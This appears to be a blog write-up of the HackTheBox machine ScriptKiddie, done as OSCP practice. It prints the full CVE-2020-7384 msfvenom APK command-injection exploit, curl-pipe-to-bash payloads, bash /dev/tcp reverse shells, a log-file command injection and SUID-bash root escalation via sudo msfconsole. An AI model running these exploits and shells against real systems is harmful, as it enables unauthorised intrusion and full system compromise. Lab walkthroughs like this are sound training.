TJ_Null’s OSCP Prep – HTB – ScriptKiddie

Even though the name of this machine implies that we’re going to do something easy, it was the opposite. With a hard enumeration phase, there was also horizontal movement through abusing a scritp pwn‘s home directory. After that getting root was abusing the fact that the user pwn could run metasploit as root.


I’ll start with a NMAP scan.

└─# nmap -sC -sV -p- --min-rate 10000 -oN nmap.ver
Starting Nmap 7.92 ( ) at 2022-01-25 14:19 EST
Nmap scan report for
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds

Only two ports open.

Port 22 and port 5000. Werkzeug httpd, which is a web application, is running on port 5000.

Vulnerable msfvenom

After alot of enumeration, I found that msfvenom running on the web application is vulnerable to command injection.


There is a command injection vulnerability in msfvenom when using a crafted APK file as an Android payload template.

On the website I’ve linked above there is a PoC that I modified to give me a reverse shell on my machine.

└─# cat
# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection
# Exploit Author: Justin Steven
# Vendor Homepage:
# Software Link:
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0
# CVE : CVE-2020-7384

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Change me
payload = 'curl | bash' 

# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 -o /dev/null")

So what this script does is it first encodes the payload with base64 to avoid bad characters. It then creates the apk file, and generate a signing key, which is signs the apk with.

I used the payload

payload = 'curl | bash' 

In the I’ve setup a standard bash TCP reverse shell.

bash -i >& /dev/tcp/ 0>&1

I start a http server on port 9000 and generate a payload on the webapplication.

I see that the shell is downloaded.

└─# python3 -m http.server 9000
Serving HTTP on port 9000 ( ... - - [31/Jan/2022 13:43:53] "GET / HTTP/1.1" 200 - - - [31/Jan/2022 13:44:28] "GET / HTTP/1.1" 200 - - - [31/Jan/2022 13:45:26] "GET / HTTP/1.1" 200 - - - [31/Jan/2022 13:46:13] "GET / HTTP/1.1" 200 -

And I get a reverse shell.

└─# nc -lvnp 4444                                                                                                                                                                        1 ⨯
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 56898
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$ whoami

Shell as pwn

In pwn’s home directory there is a script thats called We dont have permission to execute or edit the script.

kid@scriptkiddie:/home/pwn$ cat 

log=/home/kid/logs/hackers   # variable log = dir/hackers

cd /home/pwn/        # Change dir to /home/pwn
cat $log | cut -d' ' -f3- | sort -u | while read ip; do  # Open hackers, cut delimeter space in field 3 and read IP
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & # run the nmap scan against IP, and write error to /dev/null

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

I’ve commented in the script to explains what happenes. So basically what happens is:

  • Create a varaible log which points to /home/kid/logs/hackers. It cat the file hacker, cut delimeter space in field 3, and reads the IP. It then runs an nmap scan on the IP against the IP and writes error to /dev/null.
  • Then it deletes everything in hackers.

Why is the script there?

If we analyze the which is located in /html we can see that running searchsploit on the webserver and type anything else than alphanumeric, it will write date and time aswell as our IP to the file hackers.

def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")

We can do a test run. Lets tail -f hackers and type something non alphanumeric in searchsploit.

And in hackers we see.

kid@scriptkiddie:~/logs$ tail -f hackers 
[2022-01-31 19:00:41.199499]
tail: hackers: file truncated

It removes the input in the end so hackers is empty.

How to abuse this?

Lets try and run the script on our local machine, and add some random numbers and see what happenes.

└─# cat test                
123 456 789 101112
└─# cat test| cut -d' ' -f3-
789 101112

As we explained earlier, it will cat everything after field 3. So to test to see if there is a command injection possibilty I’ll do a ping against my machine. The numbers before the ping command could be anything aslong as there is two spaces there. Because the script will disregard everything before the two spaces.

kid@scriptkiddie:~/logs$ echo '1 2 ;ping' >> hackers 
└─# tcpdump -i tun0      
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:06:41.029136 IP > Flags [P.], seq 2167120262:2167120263, ack 257553598, win 501, options [nop,nop,TS val 1785006364 ecr 2516665146], length 1
14:06:41.059614 IP > Flags [P.], seq 1:2, ack 1, win 502, options [nop,nop,TS val 2516687586 ecr 1785006364], length 1
14:06:41.059628 IP > Flags [.], ack 2, win 501, options [nop,nop,TS val 1785006394 ecr 2516687586], length 0
14:06:41.307286 IP > Flags [P.], seq 1:2, ack 2, win 501, options [nop,nop,TS val 1785006642 ecr 2516687586], length 1
14:06:41.337537 IP > Flags [P.], seq 2:3, ack 2, win 502, options [nop,nop,TS val 2516687864 ecr 1785006642], length 1
14:06:41.337552 IP > Flags [.], ack 3, win 501, options [nop,nop,TS val 1785006672 ecr 2516687864], length 0
14:06:41.384550 IP > Flags [P.], seq 2:3, ack 3, win 501, options [nop,nop,TS val 1785006719 ecr 2516687864], length 1
14:06:41.414975 IP > Flags [P.], seq 3:4, ack 3, win 502, options [nop,nop,TS val 2516687942 ecr 1785006719], length 1

We get a response. So lets try and create a reverse shell.


└─# cat     

bash -i >& /dev/tcp/ 0>&1


└─# python3 -m http.server 9001
Serving HTTP on port 9001 ( ...


kid@scriptkiddie:~/logs$ echo '1 2 ;curl | bash #' >> hackers

This will curl our shell and pipe it bash and then comment out everything after the pipe.


└─# nc -lvnp 6666                                                                                                                                  148 ⨯ 1 ⚙
listening on [any] 6666 ...

connect to [] from (UNKNOWN) [] 45000
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ whoami

And we have a connection.

Shell as root

We can run metasploit as root.

pwn@scriptkiddie:/home$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

So we start metasploit and run whoami.

msf6 > whoami
[*] exec: whoami

msf6 > 

Greate, we’re root.

To get a shell as root, there are two methods.


Copy bash to tmp, set SUID bit and execute for all the users. When we execute shell with -p it will retain the permissions and give us root shell.

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> system("cp /bin/bash /tmp/shell; chmod 4777 /tmp/shell")
=> true
>> exit
msf6 > exit
pwn@scriptkiddie:/tmp$ /tmp/shell -p
shell-5.0# id
uid=1001(pwn) gid=1001(pwn) euid=0(root) groups=1001(pwn)


msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> system("bash")
root@scriptkiddie:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

What I’ve learned

  • Even though Im not a programmer, understanding basic scritpting and programs is very important.
  • Running scripts locally to understand what is happening is a great way to test for command injection or other vulnerabilities.
  • Keeping software updated, like msfvenom would have prevented us from gaining access to the machine

Similar Posts